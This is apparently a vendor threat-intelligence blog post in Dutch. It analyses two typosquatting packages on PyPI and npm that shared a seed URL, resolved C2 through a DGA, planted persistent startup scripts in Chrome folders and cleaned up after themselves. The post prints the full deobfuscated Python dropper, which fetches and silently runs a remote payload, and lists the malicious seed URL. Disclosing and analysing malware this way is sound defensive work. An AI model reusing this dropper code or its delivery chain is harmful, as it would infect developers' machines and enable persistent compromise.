Software Supply Chain-aanvallen 2025 - kwaadaardige pakketten - kwaadaardige Python-pakketten - kwaadaardige NPM-pakketten

Een nadere blik op software supply chain-aanvallen in 2025: PyPI- en npm-campagnes vergeleken

Xygeni heeft onlangs een zorgwekkend patroon waargenomen in het landschap van aanvallen op de softwaretoeleveringsketen in 2025, die opduiken in twee populaire pakketbeheerders: PyPI en NPMAls onderdeel van onze voortdurende inspanningen op het gebied van dreigingsinformatie,Xygeni's vroegtijdige waarschuwing voor malware (MEW) De tool identificeerde een duidelijk maar methodologisch vergelijkbaar geval van een kwaadaardig pakket dat eerder naar een ander register was geüpload. Deze casus laat zien hoe cybercriminelen zich ontwikkelen en aanvalstechnieken hergebruiken in verschillende ecosystemen, met name via kwaadaardige Python-pakketten en kwaadaardige npm-pakketten, waardoor het risico toeneemt dat schadelijke pakketten open source-toeleveringsketens binnendringen.

Xygeni's MEW: de overeenkomsten ontdekken

De MEW-tool van Xygeni is ontwikkeld om kwaadaardige pakketten te detecteren en te markeren, met name pakketten die verband houden met Software Supply Chain-aanvallen in 2025, zodra ze in open-sourceregisters worden gepubliceerd. De tool analyseert nieuwe pakketten op verdacht gedrag.

In dit geval werden er twee geïdentificeerd kwaadaardige Python-pakketten (graphalgo op PyPI) en kwaadaardige npm-pakketten (express-cookie-parser op npm).

Kwaadaardige Python- en npm-pakketten in software-aanvoerketenaanvallen (2025)

Laten we eens kijken naar de gemeenschappelijke kenmerken die onze waarschuwingen hebben geactiveerd:

typosquatting

Ze probeerden allebei bestaande, populaire pakketten te imiteren.

  • grafische algo (PyPI)"Python-pakket voor het maken en bewerken van grafieken en netwerken.” Geüpload door een gebruiker genaamd “larrytech” Op 13 juni 2025 presenteerde dit pakket zichzelf als een PyPi-alternatief voor het oorspronkelijke niet-kwaadaardige graphalgo-project, dat later werd omgedoopt tot graphdict.
  • express-cookie-parser (npm):Dit pakket imiteerde het bekende cookie-parser-pakket en spiegelde zelfs zijn README.md. Dergelijke imitaties zijn een klassieke tactiek om bestaand vertrouwen te misbruiken.

Verduistering als eerste verdedigingslinie

Beide pakketten verhulden hun schadelijke code in de originele bestanden. graphalgo, de verduisterde code werd gevonden binnen /utils/load_libraries.py. Bij express-cookie-parser, cookie-loader.min.js bevatte de verduisterde lading.

Deze eerste laag van verduistering wordt doorgaans gebruikt om oppervlakkige inspectie en statische analyse te belemmeren. De verduistering was vrij eenvoudig: herhaalde ZLib-compressie plus Base64-codering. Dit type verduistering geeft duidelijk aan dat de software zijn gedrag probeert te verbergen. Samen met ander bewijs stelde dit Xygeni MEW in staat de pakketten als potentiële malware te classificeren. Tijdens de bevestigingsfase stelden onze reviewers onmiddellijk een deobfuscatiescript op dat de duidelijk kwaadaardige dropper-fase onthulde.

Meertrapslevering van lading en een gedeeld oorsprongspunt

Beide pakketten functioneerden als initiële “druppelaars, waarmee de weg werd vrijgemaakt voor de echte lading. Ze deelden een gemeenschappelijke externe "zaad”bestand URL:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

Dit identieke externe seedbestand is een sterke indicator van een gedeelde bedreigingsactor. Interessant genoeg lijkt de inhoud van dit seedbestand te bestaan ​​uit eenvoudige omgevingsvariabelen (bijv. JWT_SECRET, PORT), wat mogelijk misleidend is voor de daadwerkelijke functie ervan.

Dynamische C2-resolutie met een DGA

Een geavanceerde tactiek die bij deze kwaadaardige pakketten wordt waargenomen, is het gebruik van een Domain Generation Algorithm (DGA) om de Command and Control (C2)-server dynamisch te identificeren. Deze techniek, die vaak wordt toegepast bij geavanceerde aanvallen op de software supply chain in 2025, maakt gebruik van een SHA256-hash die is afgeleid van de inhoud van het seedbestand, gecombineerd met andere hardgecodeerde waarden. Hierdoor verandert de C2-infrastructuur regelmatig, waardoor traditionele blacklisting veel minder effectief is. In dit geval gebruikte de npm-variant een vaste waarde van 496AAC7E als onderdeel van haar DGA-logica.

Vaststelling van doorzettingsvermogen

Beide aanvallers probeerden een blijvende aanwezigheid op de getroffen systemen te creëren. Hun strategie bestond uit het plaatsen van een bestand, startup.py (voor PyPi) of startup.js (voor npm), in algemene Google Chrome-gebruikersgegevensmappen op verschillende besturingssystemen (Windows, Linux, macOS).

Opruimen na de executie

Om sporen te minimaliseren, voerden beide kwaadaardige scripts opruimbewerkingen uit. Dit omvatte het verwijderen van hun oorspronkelijke dropper-bestanden (load_libraries.py, cookie-loader.min.js) en het wijzigen van legitieme pakketbestanden (__init__.py, index.js) om de verwijzingen naar de nu verwijderde componenten te verwijderen.

Indicatoren van compromissen in kwaadaardige Python- en npm-pakketten

  • PyPI-pakket: graphalgo (gepubliceerd door larrytech, 13 juni 2025)
  • npm-pakket: express-cookie-parser (specifiek versie 1.4.12)
  • Toegang tot gedeelde Seed-URL

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • Blijvende bestandsnamen: startup.py (Python) startup.js (JavaScript)
  • Veelvoorkomende persistente paden (afhankelijk van besturingssysteem): Binnen Google Chrome-gebruikersgegevensmappen (bijv. AppData\Local\Google\Chrome\UserData\Scripts\ op Windows, ~/.config/google-chrome/Scripts/ (op Linux, enz.).

Hoe u zich kunt verdedigen tegen kwaadaardige pakketten in aanvallen op de softwaretoeleveringsketen (2025)

Dit incident dient als een waardevolle casestudy in het veranderende dreigingslandschap van aanvallen op de software supply chain in 2025. Het laat zien hoe kwaadaardige Python-pakketten en npm-pakketten vertrouwde ecosystemen kunnen binnendringen en vaak detectie ontlopen tot het te laat is. Daarom zijn vroege detectie, slimme tooling en proactieve systeemhygiëne nu essentiële onderdelen van elke veilige DevOps-workflow. Ontwikkelaars wordt aangeraden rekening te houden met het volgende:

Afhankelijkheidsbeoordeling

Als uw projecten het volgende omvatten: graphalgo or express-cookie-parser, zou het verstandig zijn om ze te verwijderen.

  • Voor PyPI: pip uninstall graphalgo
  • Voor npm: npm uninstall express-cookie-parser

Systeemhygiëne

Overweeg een uitgebreide systeemscan uit te voeren. Het is ook raadzaam om de algemene Chrome-gebruikersgegevensdirectorypaden handmatig te controleren op onverwachte fouten. startup.py or startup.js bestanden.

Proactieve beveiligingsmaatregelen

  • Beoordeel nieuwe afhankelijkheden: Zorg ervoor dat u nieuwe pakketten grondig evalueert vóór de integratie, en richt u daarbij op pakketten van onbekende uitgevers.
  • Integreer beveiligingstools: Hulpmiddelen zoals MEW van Xygeni, samen met andere softwarecompositieanalyse (SCA) oplossingen, kunnen een cruciale verdedigingslaag bieden door verdacht gedrag en kwetsbaarheden te identificeren.
  • Minste privilegeDoor ontwikkelomgevingen te gebruiken met het principe van minimale privileges, kunt u de potentiële impact van een inbreuk beperken.
  • Netwerkbewustzijn:Door het controleren van uitgaand netwerkverkeer op ongebruikelijke verbindingen kunnen soms door DGA gegenereerde C2-communicaties worden onthuld.

Belangrijkste onderdelen van load_libraries.py (van graphalgo)

import os import sys import subprocess import base64 import hashlib import time from urllib.request import urlopen, Request  url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU=" remove_url = base64.b64decode(url_b64).decode()  python_path = sys.executable  def download_remote_content(url, output_path):     try:         req = Request(url, headers={"User-Agent": "Mozilla/5.0"})         with urlopen(req) as response, open(output_path, "wb") as out_file:             if response.status != 200:                 print(f"Failed to download the file. Status code: {response.status}")                 return False             data = response.read()             out_file.write(data)         return True     except Exception as e:         print(f"Download failed: {e}")         return False  def run_process(path_to_script, params=[]):     if sys.platform.startswith("win"):         creationflags = subprocess.CREATE_NO_WINDOW         subprocess.Popen(             [sys.executable, path_to_script, *params],             creationflags=creationflags,             stdout=subprocess.DEVNULL,             stderr=subprocess.DEVNULL         )     else:         subprocess.Popen(             [sys.executable, path_to_script, *params],             start_new_session=True,             stdout=subprocess.DEVNULL,             stderr=subprocess.DEVNULL,             close_fds=True         )   def get_output_file_path():     py_file_path = None      home_dir = os.path.expanduser("~")     platform = os.sys.platform      if platform.startswith("win"):         py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")     elif platform.startswith("linux"):         py_file_path = os.path.join(home_dir, ".config", "google-chrome")     elif platform == "darwin":         py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")      if not os.path.exists(py_file_path):         if platform.startswith("win"):             py_file_path = os.path.join(home_dir, "AppData", "Local")         elif platform.startswith("linux"):             py_file_path = os.path.join(home_dir, ".config")         elif platform == "darwin":             py_file_path = os.path.join(home_dir, "Library", "Application Support")      # Ensure base directory exists     os.makedirs(py_file_path, exist_ok=True)      script_path = os.path.join(py_file_path, "Scripts")     os.makedirs(script_path, exist_ok=True)      py_file_path = os.path.join(script_path, "startup.py")     return py_file_path  def remove_self():     # Remove this script file     os.remove(__file__)      # Remove \'graph_settings.py\' in the same directory     graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")     if os.path.exists(graph_settings_path):         os.remove(graph_settings_path)      # Modify \'../classes/digraph.py\' if it exists     graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")     graph_file_path = os.path.abspath(graph_file_path)  # Normalize path      init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")     init_file_path = os.path.abspath(init_file_path) # Normalize path      # replace content of the __init__.py file     if os.path.exists(init_file_path):         with open(init_file_path, \'r\', encoding=\'utf-8\') as file:             file_content = file.read()          updated_content = file_content \\             .replace("from networkx.utils.graph_settings import *", "") \\             .replace("from networkx.utils.load_libraries import *", "")          with open(init_file_path, \'w\', encoding=\'utf-8\') as file:             file.write(updated_content)              # replace content of the __init__.py file     if os.path.exists(graph_file_path):         with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:             file_content = file.read()          updated_content = file_content \\             .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\          with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:             file.write(updated_content)  def simple_shift_encrypt(text, password):     key = int(hashlib.sha256(password).hexdigest(), 16)     encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])      return base64.encode(encrypted_bytes).decode()  def simple_shift_decrypt(encoded_text, password):     key = int(hashlib.sha256(password).hexdigest(), 16)     encrypted_bytes = base64.b64decode(encoded_text)     decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])      return decrypted  def load_libraries(key):     max_retry_count = 3     output_file_path = get_output_file_path()     encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"      for _ in range(max_retry_count):         if not download_remote_content(remove_url, output_file_path):             time.sleep(2)             continue          download_url = ""         with open(output_file_path, "rb") as f:             file_content = f.read()             sha256_hash = hashlib.sha256()             sha256_hash.update(file_content + key.encode())             password = sha256_hash.digest()              download_url = simple_shift_decrypt(encoded, password)                 if not download_url or not download_remote_content(download_url, output_file_path):             time.sleep(2)             continue          os.chmod(output_file_path, 0o755)         run_process(output_file_path)          time.sleep(1)         remove_self()         break  if __name__ == "__main__":     if len(sys.argv) >= 2:         load_libraries(sys.argv[1])  
  • download_remote_content(): Verwerkt het ophalen van bestanden van opgegeven URL's.
  • run_process(): Voert externe Python-scripts op een onafhankelijke manier uit, waarbij de uitvoer wordt onderdrukt om discreet te blijven.
  • get_output_file_path(): Bepaalt de ideale systeemlocatie voor het permanente bestand startup.py.
  • remove_self(): Orkestreert het opruimen van de initiële schadelijke bestanden en pakketwijzigingen na de uitvoering.
  • simple_shift_encrypt() / simple_shift_decrypt(): Aangepaste cryptografische functies voor het verbergen van communicatiekanalen, cruciaal voor de DGA-implementatie.
  • load_libraries(): De centrale functie die het gehele meerfasenproces coördineert, van de eerste download tot de uiteindelijke uitvoering en opschoning van de payload.

Nasleep

Net als bij andere potentieel schadelijke pakketten die door MEW werden geïdentificeerd, beschermde de dependency firewall direct gebruikers die deze schadelijke pakketten in hun dependency's zouden opnemen. Na bevestiging volgden we de meldingsprocedures voor beide registers, die na controle beide pakketten verwijderden.

sca-tools-software-compositie-analyse-tools
Prioriteer, herstel en beveilig uw softwarerisico's
Maak nu een gratis account aan.
Geen kredietkaart nodig.

Beveilig uw softwareontwikkeling en -levering

met Xygeni-productsuite